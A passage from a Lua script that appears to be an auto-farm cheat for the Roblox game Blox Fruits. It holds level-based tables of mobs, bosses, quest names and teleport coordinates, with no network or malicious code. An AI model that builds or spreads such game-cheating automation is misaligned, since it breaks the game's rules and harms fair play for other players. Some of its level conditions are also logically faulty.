
SPAWNPOINT = "BigMansion"

elseif MyLevel == 1850 or MyLevel <= 1899 or \_G.Select\_Mob\_Farm == "Mythological Pirate [Lv. 1850]" then

Ms = "Mythological Pirate [Lv. 1850]"

NameQuest = "DeepForestIsland"

LevelQuest = 2

NameMon = "Mythological Pirate"

CFrameQuest = CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247)

CFrameMon = CFrame.new(-13869.172851563, 564.95251464844, -7084.4135742188)

SPAWNPOINT = "BigMansion"

elseif MyLevel == 1900 or MyLevel <= 1924 or \_G.Select\_Mob\_Farm == "Jungle Pirate [Lv. 1900]" then

Ms = "Jungle Pirate [Lv. 1900]"

NameQuest = "DeepForestIsland2"

LevelQuest = 1

NameMon = "Jungle Pirate"

CFrameQuest = CFrame.new(-12680.3818, 389.971039, -9902.01953, -0.0871315002, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, -0.0871315002)

CFrameMon = CFrame.new(-11982.221679688, 376.32522583008, -10451.415039063)

SPAWNPOINT = "PineappleTown"

elseif MyLevel == 1925 or MyLevel <= 1974 or \_G.Select\_Mob\_Farm == "Musketeer Pirate [Lv. 1925]" then

Ms = "Musketeer Pirate [Lv. 1925]"

NameQuest = "DeepForestIsland2"

LevelQuest = 2

NameMon = "Musketeer Pirate"

CFrameQuest = CFrame.new(-12680.3818, 389.971039, -9902.01953, -0.0871315002, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, -0.0871315002)

CFrameMon = CFrame.new(-13282.3046875, 496.23684692383, -9565.150390625)

SPAWNPOINT = "PineappleTown"

elseif MyLevel == 1975 or MyLevel <= 1999 or \_G.Select\_Mob\_Farm == "Reborn Skeleton [Lv. 1975]" then

Ms = "Reborn Skeleton [Lv. 1975]"

NameQuest = "HauntedQuest1"

LevelQuest = 1

NameMon = "Reborn Skeleton"

CFrameQuest = CFrame.new(-9479.2168, 141.215088, 5566.09277, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(-8761.3154296875, 164.85829162598, 6161.1567382813)

SPAWNPOINT = "HauntedCastle"

elseif MyLevel == 2000 or MyLevel <= 2024 or \_G.Select\_Mob\_Farm == "Living Zombie [Lv. 2000]" then

Ms = "Living Zombie [Lv. 2000]"

NameQuest = "HauntedQuest1"

LevelQuest = 2

NameMon = "Living Zombie"

CFrameQuest = CFrame.new(-9479.2168, 141.215088, 5566.09277, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(-10093.930664063, 237.38233947754, 6180.5654296875)

SPAWNPOINT = "HauntedCastle"

elseif MyLevel == 2025 or MyLevel <= 2049 or \_G.Select\_Mob\_Farm == "Demonic Soul [Lv. 2025]" then

Ms = "Demonic Soul [Lv. 2025]"

NameQuest = "HauntedQuest2"

LevelQuest = 1

NameMon = "Demonic Soul"

CFrameQuest = CFrame.new(-9514.78027, 171.162918, 6078.82373, 0.301918149, 7.4535027e-09, 0.953333855, -3.22802141e-09, 1, -6.79604995e-09, -0.953333855, -1.02553133e-09, 0.301918149)

CFrameMon = CFrame.new(-9466.72949, 171.162918, 6132.01514)

SPAWNPOINT = "HauntedCastle"

elseif MyLevel == 2050 or MyLevel <= 2074 or \_G.Select\_Mob\_Farm == "Posessed Mummy [Lv. 2050]" then

Ms = "Posessed Mummy [Lv. 2050]"

NameQuest = "HauntedQuest2"

LevelQuest = 2

NameMon = "Posessed Mummy"

CFrameQuest = CFrame.new(-9514.78027, 171.162918, 6078.82373, 0.301918149, 7.4535027e-09, 0.953333855, -3.22802141e-09, 1, -6.79604995e-09, -0.953333855, -1.02553133e-09, 0.301918149)

CFrameMon = CFrame.new(-9589.93848, 4.85058546, 6190.27197)

SPAWNPOINT = "HauntedCastle"

elseif MyLevel == 2075 or MyLevel <= 2099 or \_G.Select\_Mob\_Farm == "Peanut Scout [Lv. 2075]" then

Ms = "Peanut Scout [Lv. 2075]"

NameQuest = "NutsIslandQuest"

LevelQuest = 1

NameMon = "Peanut Scout"

CFrameQuest = CFrame.new(-2103.9375, 38.139019012451, -10192.702148438)

CFrameMon = CFrame.new(-2150.587890625, 122.49767303467, -10358.994140625)

SPAWNPOINT = "Peanut"

elseif MyLevel == 2100 or MyLevel <= 2124 or \_G.Select\_Mob\_Farm == "Peanut President [Lv. 2100]" then

Ms = "Peanut President [Lv. 2100]"

NameQuest = "NutsIslandQuest"

LevelQuest = 2

NameMon = "Peanut President"

CFrameQuest = CFrame.new(-2103.9375, 38.139019012451, -10192.702148438)

CFrameMon = CFrame.new(-2150.587890625, 122.49767303467, -10358.994140625)

SPAWNPOINT = "Peanut"

elseif MyLevel == 2125 or MyLevel <= 2149 or \_G.Select\_Mob\_Farm == "Ice Cream Chef [Lv. 2125]" then

Ms = "Ice Cream Chef [Lv. 2125]"

NameQuest = "IceCreamIslandQuest"

LevelQuest = 1

NameMon = "Ice Cream Chef"

CFrameQuest = CFrame.new(-819.84533691406, 65.845329284668, -10965.487304688)

CFrameMon = CFrame.new(-890.55895996094, 186.34135437012, -11127.306640625)

SPAWNPOINT = "IceCream"

elseif MyLevel == 2150 or MyLevel <= 2199 or \_G.Select\_Mob\_Farm == "Ice Cream Commander [Lv. 2150]" then

Ms = "Ice Cream Commander [Lv. 2150]"

NameQuest = "IceCreamIslandQuest"

LevelQuest = 2

NameMon = "Ice Cream Commander"

CFrameQuest = CFrame.new(-819.84533691406, 65.845329284668, -10965.487304688)

CFrameMon = CFrame.new(-890.55895996094, 186.34135437012, -11127.306640625)

SPAWNPOINT = "IceCream"

elseif MyLevel == 2200 or MyLevel <= 2224 or \_G.Select\_Mob\_Farm == "Cookie Crafter [Lv. 2200]" then

Ms = "Cookie Crafter [Lv. 2200]"

NameQuest = "CakeQuest1"

LevelQuest = 1

NameMon = "Cookie Crafter"

CFrameQuest = CFrame.new(-2021.5509033203125, 37.798221588134766, -12028.103515625)

CFrameMon = CFrame.new(-2273.00244140625, 90.22590637207031, -12151.62109375)

SPAWNPOINT = "Loaf"

elseif MyLevel == 2225 or MyLevel <= 2249 or \_G.Select\_Mob\_Farm == "Cake Guard [Lv. 2225]" then

Ms = "Cake Guard [Lv. 2225]"

NameQuest = "CakeQuest1"

LevelQuest = 2

NameMon = "Cake Guard"

CFrameQuest = CFrame.new(-2021.5509033203125, 37.798221588134766, -12028.103515625)

CFrameMon = CFrame.new(-1442.373046875, 158.14111328125, -12277.37109375)

SPAWNPOINT = "Loaf"

elseif MyLevel == 2250 or MyLevel <= 2274 or \_G.Select\_Mob\_Farm == "Baking Staff [Lv. 2250]" then

Ms = "Baking Staff [Lv. 2250]"

NameQuest = "CakeQuest2"

LevelQuest = 1

NameMon = "Baking Staff"

CFrameQuest = CFrame.new(-1927.9107666015625, 37.79813003540039, -12843.78515625)

CFrameMon = CFrame.new(-1837.2803955078125, 129.0594482421875, -12934.5498046875)

SPAWNPOINT = "Loaf"

elseif MyLevel == 2275 or MyLevel <= 2299 or \_G.Select\_Mob\_Farm == "Head Baker [Lv. 2275]" then

Ms = "Head Baker [Lv. 2275]"

NameQuest = "CakeQuest2"

LevelQuest = 2

NameMon = "Head Baker"

CFrameQuest = CFrame.new(-1927.9107666015625, 37.79813003540039, -12843.78515625)

CFrameMon = CFrame.new(-2203.302490234375, 109.90937042236328, -12788.7333984375)

SPAWNPOINT = "Loaf"

elseif MyLevel == 2300 or MyLevel <= 2324 or \_G.Select\_Mob\_Farm == "Cocoa Warrior [Lv. 2300]" then

Ms = "Cocoa Warrior [Lv. 2300]"

NameQuest = "ChocQuest1"

LevelQuest = 1

NameMon = "Cocoa Warrior"

CFrameQuest = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

CFrameMon = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

SPAWNPOINT = "Chocolate"

elseif MyLevel == 2325 or MyLevel <= 2349 or \_G.Select\_Mob\_Farm == "Chocolate Bar Battler [Lv. 2325]" then

Ms = "Chocolate Bar Battler [Lv. 2325]"

NameQuest = "ChocQuest1"

LevelQuest = 2

NameMon = "Chocolate Bar Battler"

CFrameQuest = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

CFrameMon = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

SPAWNPOINT = "Chocolate"

elseif MyLevel == 2350 or MyLevel <= 2374 or \_G.Select\_Mob\_Farm == "Sweet Thief [Lv. 2350]" then

Ms = "Sweet Thief [Lv. 2350]"

NameQuest = "ChocQuest2"

LevelQuest = 1

NameMon = "Sweet Thief"

CFrameQuest = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

CFrameMon = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

SPAWNPOINT = "Chocolate"

elseif MyLevel == 2375 or MyLevel <= 2400 or \_G.Select\_Mob\_Farm == "Candy Rebel [Lv. 2375]" then

Ms = "Candy Rebel [Lv. 2375]"

NameQuest = "ChocQuest2"

LevelQuest = 2

NameMon = "Candy Rebel"

CFrameQuest = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

CFrameMon = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

SPAWNPOINT = "Chocolate"

elseif MyLevel == 2400 or MyLevel <= 2425 or \_G.Select\_Mob\_Farm == "Candy Pirate [Lv. 2400]" then

Ms = "Candy Pirate [Lv. 2400]"

NameQuest = "CandyQuest1"

LevelQuest = 1

NameMon = "Candy Pirate"

CFrameQuest = CFrame.new(-1151.48987, 16.1422901, -14445.6904, -0.316594511, -6.85698254e-08, -0.948560953, -2.05343067e-08, 1, -6.54346692e-08, 0.948560953, -1.23821675e-09, -0.316594511)

CFrameMon = CFrame.new(-1408.46521, 16.1423531, -14552.2041, 0.90175873, -8.17216943e-08, -0.432239741, 7.81264475e-08, 1, -2.60746162e-08, 0.432239741, -1.02563433e-08, 0.90175873)

SPAWNPOINT = "Chocolate"

elseif MyLevel >= 2425 or \_G.Select\_Mob\_Farm == "Snow Demon [Lv. 2425]" then

Ms = "Snow Demon [Lv. 2425]"

NameQuest = "CandyQuest1"

LevelQuest = 2

NameMon = "Snow Demon"

CFrameQuest = CFrame.new(-1151.48987, 16.1422901, -14445.6904, -0.316594511, -6.85698254e-08, -0.948560953, -2.05343067e-08, 1, -6.54346692e-08, 0.948560953, -1.23821675e-09, -0.316594511)

CFrameMon = CFrame.new(-777.070862, 23.5809536, -14453.0078, 0.33384338, 0, -0.942628562, 0, 1, 0, 0.942628562, 0, 0.33384338)

SPAWNPOINT = "Chocolate"

end

end

end

function CheckBossQuest()

if \_G.Select\_Boss == "Saber Expert [Lv. 200] [Boss]" then

MsBoss = "Saber Expert [Lv. 200] [Boss]"

NameBoss = "Saber Expert"

CFrameBoss = CFrame.new(-1458.89502, 29.8870335, -50.633564, 0.858821094, 1.13848939e-08, 0.512275636, -4.85649254e-09, 1, -1.40823326e-08, -0.512275636, 9.6063415e-09, 0.858821094)

elseif \_G.Select\_Boss == "The Saw [Lv. 100] [Boss]" then

MsBoss = "The Saw [Lv. 100] [Boss]"

NameBoss = "The Saw"

CFrameBoss = CFrame.new(-683.519897, 13.8534927, 1610.87854, -0.290192783, 6.88365773e-08, 0.956968188, 6.98413629e-08, 1, -5.07531119e-08, -0.956968188, 5.21077759e-08, -0.290192783)

elseif \_G.Select\_Boss == "Greybeard [Lv. 750] [Raid Boss]" then

MsBoss = "Greybeard [Lv. 750] [Raid Boss]"

NameBoss = "Greybeard"

CFrameBoss = CFrame.new(-4955.72949, 80.8163834, 4305.82666, -0.433646321, -1.03394289e-08, 0.901083171, -3.0443168e-08, 1, -3.17633075e-09, -0.901083171, -2.88092288e-08, -0.433646321)

elseif \_G.Select\_Boss == "The Gorilla King [Lv. 25] [Boss]" then

MsBoss = "The Gorilla King [Lv. 25] [Boss]"

NameBoss = "The Gorilla King"

NameQuestBoss = "JungleQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-1604.12012, 36.8521118, 154.23732, 0.0648873374, -4.70858913e-06, -0.997892559, 1.41431883e-07, 1, -4.70933674e-06, 0.997892559, 1.64442184e-07, 0.0648873374)

CFrameBoss = CFrame.new(-1223.52808, 6.27936459, -502.292664, 0.310949147, -5.66602516e-08, 0.950426519, -3.37275488e-08, 1, 7.06501808e-08, -0.950426519, -5.40241736e-08, 0.310949147)

elseif \_G.Select\_Boss == "Bobby [Lv. 55] [Boss]" then

MsBoss = "Bobby [Lv. 55] [Boss]"

NameBoss = "Bobby"

NameQuestBoss = "BuggyQuest1"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-1139.59717, 4.75205183, 3825.16211, -0.959730506, -7.5857054e-09, 0.280922383, -4.06310328e-08, 1, -1.11807175e-07, -0.280922383, -1.18718916e-07, -0.959730506)

CFrameBoss = CFrame.new(-1147.65173, 32.5966301, 4156.02588, 0.956680477, -1.77109952e-10, -0.29113996, 5.16530874e-10, 1, 1.08897802e-09, 0.29113996, -1.19218679e-09, 0.956680477)

elseif \_G.Select\_Boss == "Yeti [Lv. 110] [Boss]" then

MsBoss = "Yeti [Lv. 110] [Boss]"

NameBoss = "Yeti"

NameQuestBoss = "SnowQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(1384.90247, 87.3078308, -1296.6825, 0.280209213, 2.72035177e-08, -0.959938943, -6.75690828e-08, 1, 8.6151708e-09, 0.959938943, 6.24481444e-08, 0.280209213)

CFrameBoss = CFrame.new(1221.7356, 138.046906, -1488.84082, 0.349343032, -9.49245944e-08, 0.936994851, 6.29478194e-08, 1, 7.7838429e-08, -0.936994851, 3.17894653e-08, 0.349343032)

elseif \_G.Select\_Boss == "Mob Leader [Lv. 120] [Boss]" then

MsBoss = "Mob Leader [Lv. 120] [Boss]"

NameBoss = "Mob Leader"

CFrameBoss = CFrame.new(-2848.59399, 7.4272871, 5342.44043, -0.928248107, -8.7248246e-08, 0.371961564, -7.61816636e-08, 1, 4.44474857e-08, -0.371961564, 1.29216433e-08, -0.92824)

elseif \_G.Select\_Boss == "Vice Admiral [Lv. 130] [Boss]" then

MsBoss = "Vice Admiral [Lv. 130] [Boss]"

NameBoss = "Vice Admiral"

NameQuestBoss = "MarineQuest2"

LevelQuestBoss = 2

CFrameQuestBoss = CFrame.new(-5035.42285, 28.6520386, 4324.50293, -0.0611100644, -8.08395768e-08, 0.998130739, -1.57416586e-08, 1, 8.00271849e-08, -0.998130739, -1.08217701e-08, -0.0611100644)

CFrameBoss = CFrame.new(-5078.45898, 99.6520691, 4402.1665, -0.555574954, -9.88630566e-11, 0.831466436, -6.35508286e-08, 1, -4.23449258e-08, -0.831466436, -7.63661632e-08, -0.555574954)

elseif \_G.Select\_Boss == "Warden [Lv. 175] [Boss]" then

MsBoss = "Warden [Lv. 175] [Boss]"

NameBoss = "Warden"

NameQuestBoss = "ImpelQuest"

LevelQuestBoss = 1

CFrameQuestBoss = CFrame.new(4851.35059, 5.68744135, 743.251282, -0.538484037, -6.68303741e-08, -0.842635691, 1.38001752e-08, 1, -8.81300792e-08, 0.842635691, -5.90851599e-08, -0.538484037)

CFrameBoss = CFrame.new(5232.5625, 5.26856995, 747.506897, 0.943829298, -4.5439414e-08, 0.330433697, 3.47818627e-08, 1, 3.81658154e-08, -0.330433697, -2.45289105e-08, 0.943829298)

elseif \_G.Select\_Boss == "Chief Warden [Lv. 200] [Boss]" then

MsBoss = "Chief Warden [Lv. 200] [Boss]"

NameBoss = "Chief Warden"

NameQuestBoss = "ImpelQuest"

LevelQuestBoss = 2

CFrameQuestBoss = CFrame.new(4851.35059, 5.68744135, 743.251282, -0.538484037, -6.68303741e-08, -0.842635691, 1.38001752e-08, 1, -8.81300792e-08, 0.842635691, -5.90851599e-08, -0.538484037)

CFrameBoss = CFrame.new(5232.5625, 5.26856995, 747.506897, 0.943829298, -4.5439414e-08, 0.330433697, 3.47818627e-08, 1, 3.81658154e-08, -0.330433697, -2.45289105e-08, 0.943829298)

elseif \_G.Select\_Boss == "Swan [Lv. 225] [Boss]" then

MsBoss = "Swan [Lv. 225] [Boss]"

NameBoss = "Swan"

NameQuestBoss = "ImpelQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(4851.35059, 5.68744135, 743.251282, -0.538484037, -6.68303741e-08, -0.842635691, 1.38001752e-08, 1, -8.81300792e-08, 0.842635691, -5.90851599e-08, -0.538484037)

CFrameBoss = CFrame.new(5232.5625, 5.26856995, 747.506897, 0.943829298, -4.5439414e-08, 0.330433697, 3.47818627e-08, 1, 3.81658154e-08, -0.330433697, -2.45289105e-08, 0.943829298)

elseif \_G.Select\_Boss == "Magma Admiral [Lv. 350] [Boss]" then

MsBoss = "Magma Admiral [Lv. 350] [Boss]"

NameBoss = "Magma Admiral"

NameQuestBoss = "MagmaQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-5317.07666, 12.2721891, 8517.41699, 0.51175487, -2.65508806e-08, -0.859131515, -3.91131572e-08, 1, -5.42026761e-08, 0.859131515, 6.13418294e-08, 0.51175487)

CFrameBoss = CFrame.new(-5530.12646, 22.8769703, 8859.91309, 0.857838571, 2.23414389e-08, 0.513919294, 1.53689133e-08, 1, -6.91265853e-08, -0.513919294, 6.71978384e-08, 0.857838571)

elseif \_G.Select\_Boss == "Fishman Lord [Lv. 425] [Boss]" then

MsBoss = "Fishman Lord [Lv. 425] [Boss]"

NameBoss = "Fishman Lord"

NameQuestBoss = "FishmanQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(61123.0859, 18.5066795, 1570.18018, 0.927145958, 1.0624845e-07, 0.374700129, -6.98219367e-08, 1, -1.10790765e-07, -0.374700129, 7.65569368e-08, 0.927145958)

CFrameBoss = CFrame.new(61351.7773, 31.0306778, 1113.31409, 0.999974668, 0, -0.00714713801, 0, 1.00000012, 0, 0.00714714266, 0, 0.999974549)

elseif \_G.Select\_Boss == "Wysper [Lv. 500] [Boss]" then

MsBoss = "Wysper [Lv. 500] [Boss]"

NameBoss = "Wysper"

NameQuestBoss = "SkyExp1Quest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-7862.94629, 5545.52832, -379.833954, 0.462944925, 1.45838088e-08, -0.886386991, 1.0534996e-08, 1, 2.19553424e-08, 0.886386991, -1.95022007e-08, 0.462944925)

CFrameBoss = CFrame.new(-7925.48389, 5550.76074, -636.178345, 0.716468513, -1.22915289e-09, 0.697619379, 3.37381434e-09, 1, -1.70304748e-09, -0.697619379, 3.57381835e-09, 0.716468513)

elseif \_G.Select\_Boss == "Thunder God [Lv. 575] [Boss]" then

MsBoss = "Thunder God [Lv. 575] [Boss]"

NameBoss = "Thunder God"

NameQuestBoss = "SkyExp2Quest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-7902.78613, 5635.99902, -1411.98706, -0.0361216255, -1.16895912e-07, 0.999347389, 1.44533963e-09, 1, 1.17024491e-07, -0.999347389, 5.6715117e-09, -0.0361216255)

CFrameBoss = CFrame.new(-7917.53613, 5616.61377, -2277.78564, 0.965189934, 4.80563429e-08, -0.261550069, -6.73089886e-08, 1, -6.46515304e-08, 0.261550069, 8.00056768e-08, 0.965189934)

elseif \_G.Select\_Boss == "Cyborg [Lv. 675] [Boss]" then

MsBoss = "Cyborg [Lv. 675] [Boss]"

NameBoss = "Cyborg"

NameQuestBoss = "FountainQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(5253.54834, 38.5361786, 4050.45166, -0.0112687312, -9.93677887e-08, -0.999936521, 2.55291371e-10, 1, -9.93769547e-08, 0.999936521, -1.37512213e-09, -0.0112687312)

CFrameBoss = CFrame.new(6041.82813, 52.7112198, 3907.45142, -0.563162148, 1.73805248e-09, -0.826346457, -5.94632716e-08, 1, 4.26280238e-08, 0.826346457, 7.31437524e-08, -0.563162148)

-- New World

elseif \_G.Select\_Boss == "Diamond [Lv. 750] [Boss]" then

MsBoss = "Diamond [Lv. 750] [Boss]"

NameBoss = "Diamond"

NameQuestBoss = "Area1Quest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-424.080078, 73.0055847, 1836.91589, 0.253544956, -1.42165932e-08, 0.967323601, -6.00147771e-08, 1, 3.04272909e-08, -0.967323601, -6.5768397e-08, 0.253544956)

CFrameBoss = CFrame.new(-1736.26587, 198.627731, -236.412857, -0.997808516, 0, -0.0661673471, 0, 1, 0, 0.0661673471, 0, -0.997808516)

elseif \_G.Select\_Boss == "Jeremy [Lv. 850] [Boss]" then

MsBoss = "Jeremy [Lv. 850] [Boss]"

NameBoss = "Jeremy"

NameQuestBoss = "Area2Quest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(632.698608, 73.1055908, 918.666321, -0.0319722369, 8.96074881e-10, -0.999488771, 1.36326533e-10, 1, 8.92172336e-10, 0.999488771, -1.07732087e-10, -0.0319722369)

CFrameBoss = CFrame.new(2203.76953, 448.966034, 752.731079, -0.0217453763, 0, -0.999763548, 0, 1, 0, 0.999763548, 0, -0.0217453763)

elseif \_G.Select\_Boss == "Fajita [Lv. 925] [Boss]" then

MsBoss = "Fajita [Lv. 925] [Boss]"

NameBoss = "Fajita"

NameQuestBoss = "MarineQuest3"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-2442.65015, 73.0511475, -3219.11523, -0.873540044, 4.2329841e-08, -0.486752301, 5.64383384e-08, 1, -1.43220786e-08, 0.486752301, -3.99823996e-08, -0.873540044)

CFrameBoss = CFrame.new(-2297.40332, 115.449463, -3946.53833, 0.961227536, -1.46645796e-09, -0.275756449, -2.3212845e-09, 1, -1.34094433e-08, 0.275756449, 1.35296352e-08, 0.961227536)

elseif \_G.Select\_Boss == "Don Swan [Lv. 1000] [Boss]" then

MsBoss = "Don Swan [Lv. 1000] [Boss]"

NameBoss = "Don Swan"

CFrameBoss = CFrame.new(2288.802, 15.1870775, 863.034607, 0.99974072, -8.41247214e-08, -0.0227668174, 8.4774733e-08, 1, 2.75850098e-08, 0.0227668174, -2.95079072e-08, 0.99974072)

elseif \_G.Select\_Boss == "Smoke Admiral [Lv. 1150] [Boss]" then

MsBoss = "Smoke Admiral [Lv. 1150] [Boss]"

NameBoss = "Smoke Admiral"

NameQuestBoss = "IceSideQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-6059.96191, 15.9868021, -4904.7373, -0.444992423, -3.0874483e-09, 0.895534337, -3.64098796e-08, 1, -1.4644522e-08, -0.895534337, -3.91229982e-08, -0.444992423)

CFrameBoss = CFrame.new(-5115.72754, 23.7664986, -5338.2207, 0.251453817, 1.48345061e-08, -0.967869282, 4.02796978e-08, 1, 2.57916977e-08, 0.967869282, -4.54708946e-08, 0.251453817)

elseif \_G.Select\_Boss == "Cursed Captain [Lv. 1325] [Raid Boss]" then

MsBoss = "Cursed Captain [Lv. 1325] [Raid Boss]"

NameBoss = "Cursed Captain"

CFrameBoss = CFrame.new(916.928589, 181.092773, 33422, -0.999505103, 9.26310495e-09, 0.0314563364, 8.42916226e-09, 1, -2.6643713e-08, -0.0314563364, -2.63653774e-08, -0.999505103)

elseif \_G.Select\_Boss == "Darkbeard [Lv. 1000] [Raid Boss]" then

MsBoss = "Darkbeard [Lv. 1000] [Raid Boss]"

NameBoss = "Darkbeard"

CFrameBoss = CFrame.new(3876.00366, 24.6882591, -3820.21777, -0.976951957, 4.97356325e-08, 0.213458836, 4.57335361e-08, 1, -2.36868622e-08, -0.213458836, -1.33787044e-08, -0.976951957)

elseif \_G.Select\_Boss == "Order [Lv. 1250] [Raid Boss]" then

MsBoss = "Order [Lv. 1250] [Raid Boss]"

NameBoss = "Order"

CFrameBoss = CFrame.new(-6221.15039, 16.2351036, -5045.23584, -0.380726993, 7.41463495e-08, 0.924687505, 5.85604774e-08, 1, -5.60738549e-08, -0.924687505, 3.28013137e-08, -0.380726993)

elseif \_G.Select\_Boss == "Awakened Ice Admiral [Lv. 1400] [Boss]" then

MsBoss = "Awakened Ice Admiral [Lv. 1400] [Boss]"

NameBoss = "Awakened Ice Admiral"

NameQuestBoss = "FrostQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(5669.33203, 28.2118053, -6481.55908, 0.921275556, -1.25320829e-08, 0.388910472, 4.72230788e-08, 1, -7.96414241e-08, -0.388910472, 9.17372489e-08, 0.921275556)

CFrameBoss = CFrame.new(6407.33936, 340.223785, -6892.521, 0.49051559, -5.25310213e-08, -0.871432424, -2.76146022e-08, 1, -7.58250565e-08, 0.871432424, 6.12576301e-08, 0.49051559)

elseif \_G.Select\_Boss == "Tide Keeper [Lv. 1475] [Boss]" then

MsBoss = "Tide Keeper [Lv. 1475] [Boss]"

NameBoss = "Tide Keeper"

NameQuestBoss = "ForgottenQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-3053.89648, 236.881363, -10148.2324, -0.985987961, -3.58504737e-09, 0.16681771, -3.07832915e-09, 1, 3.29612559e-09, -0.16681771, 2.73641976e-09, -0.985987961)

CFrameBoss = CFrame.new(-3570.18652, 123.328949, -11555.9072, 0.465199202, -1.3857326e-08, 0.885206044, 4.0332897e-09, 1, 1.35347511e-08, -0.885206044, -2.72606271e-09, 0.465199202)

-- Thire World

elseif \_G.Select\_Boss == "Stone [Lv. 1550] [Boss]" then

MsBoss = "Stone [Lv. 1550] [Boss]"

NameBoss = "Stone"

NameQuestBoss = "PiratePortQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-290, 44, 5577)

CFrameBoss = CFrame.new(-1085, 40, 6779)

elseif \_G.Select\_Boss == "Island Empress [Lv. 1675] [Boss]" then

MsBoss = "Island Empress [Lv. 1675] [Boss]"

NameBoss = "Island Empress"

NameQuestBoss = "AmazonQuest2"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(5443, 602, 752)

CFrameBoss = CFrame.new(5659, 602, 244)

elseif \_G.Select\_Boss == "Kilo Admiral [Lv. 1750] [Boss]" then

MsBoss = "Kilo Admiral [Lv. 1750] [Boss]"

NameBoss = "Kilo Admiral"

NameQuestBoss = "MarineTreeIsland"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(2178, 29, -6737)

CFrameBoss =CFrame.new(2846, 433, -7100)

elseif \_G.Select\_Boss == "Captain Elephant [Lv. 1875] [Boss]" then

MsBoss = "Captain Elephant [Lv. 1875] [Boss]"

NameBoss = "Captain Elephant"

NameQuestBoss = "DeepForestIsland"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-13232, 333, -7631)

CFrameBoss = CFrame.new(-13221, 325, -8405)

elseif \_G.Select\_Boss == "Beautiful Pirate [Lv. 1950] [Boss]" then

MsBoss = "Beautiful Pirate [Lv. 1950] [Boss]"

NameBoss = "Beautiful Pirate"

NameQuestBoss = "DeepForestIsland2"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-12686, 391, -9902)

CFrameBoss = CFrame.new(5182, 23, -20)

elseif \_G.Select\_Boss == "Cake Queen [Lv. 2175] [Boss]" then

MsBoss = "Cake Queen [Lv. 2175] [Boss]"

NameBoss = "Cake Queen"

NameQuestBoss = "IceCreamIslandQuest"

LevelQuestBoss = 3

CFrameQuestBoss = CFrame.new(-716, 382, -11010)

CFrameBoss = CFrame.new(-821, 66, -10965)

elseif \_G.Select\_Boss == "rip\_indra True Form [Lv. 5000] [Raid Boss]" then

MsBoss = "rip\_indra True Form [Lv. 5000] [Raid Boss]"

NameBoss = "rip\_indra True Form"

CFrameBoss = CFrame.new(-5359, 424, -2735)

elseif \_G.Select\_Boss == "Longma [Lv. 2000] [Boss]" then

MsBoss = "Longma [Lv. 2000] [Boss]"

NameBoss = "Longma"

CFrameBoss = CFrame.new(-10248.3936, 353.79129, -9306.34473)

elseif \_G.Select\_Boss == "Soul Reaper [Lv. 2100] [Raid Boss]" then

MsBoss = "Soul Reaper [Lv. 2100] [Raid Boss]"

NameBoss = "Soul Reaper"

CFrameBoss = CFrame.new(-9515.62109, 315.925537, 6691.12012)

end

end

function checkselect()

local MyLevel = game.Players.LocalPlayer.Data.Level.Value

if World1 then

if MyLevel == 1 or MyLevel <= 9 or SelectMonster == "Bandit [Lv. 5]" then -- Bandit

Mon = "Bandit [Lv. 5]"

--NameQuest = "BanditQuest1"

LevelQuest = 1

NameMon = "Bandit"

--CFrameQuest = CFrame.new(1061.66699, 16.5166187, 1544.52905, -0.942978859, -3.33851502e-09, 0.332852632, 7.04340497e-09, 1, 2.99841325e-08, -0.332852632, 3.06188177e-08, -0.942978859)

CFrameMon = CFrame.new(1199.31287, 52.2717781, 1536.91516, -0.929782331, 6.60215846e-08, -0.368109822, 3.9077392e-08, 1, 8.06501603e-08, 0.368109822, 6.06023249e-08, -0.929782331)

--Spawn = "Default"

elseif MyLevel == 10 or MyLevel <= 14 or SelectMonster == "Monkey [Lv. 14]" then -- Monkey

Mon = "Monkey [Lv. 14]"

--NameQuest = "JungleQuest"

LevelQuest = 1

NameMon = "Monkey"

--CFrameQuest = CFrame.new(-1604.12012, 36.8521118, 154.23732, 0.0648873374, -4.70858913e-06, -0.997892559, 1.41431883e-07, 1, -4.70933674e-06, 0.997892559, 1.64442184e-07, 0.0648873374)

CFrameMon = CFrame.new(-1502.74609, 98.5633316, 90.6417007, 0.836947978, 0, 0.547282517, -0, 1, -0, -0.547282517, 0, 0.836947978)

--Spawn = "Jungle"

elseif MyLevel == 15 or MyLevel <= 29 or SelectMonster == "Gorilla [Lv. 20]" then -- Gorilla

Mon = "Gorilla [Lv. 20]"

--NameQuest = "JungleQuest"

LevelQuest = 2

NameMon = "Gorilla"

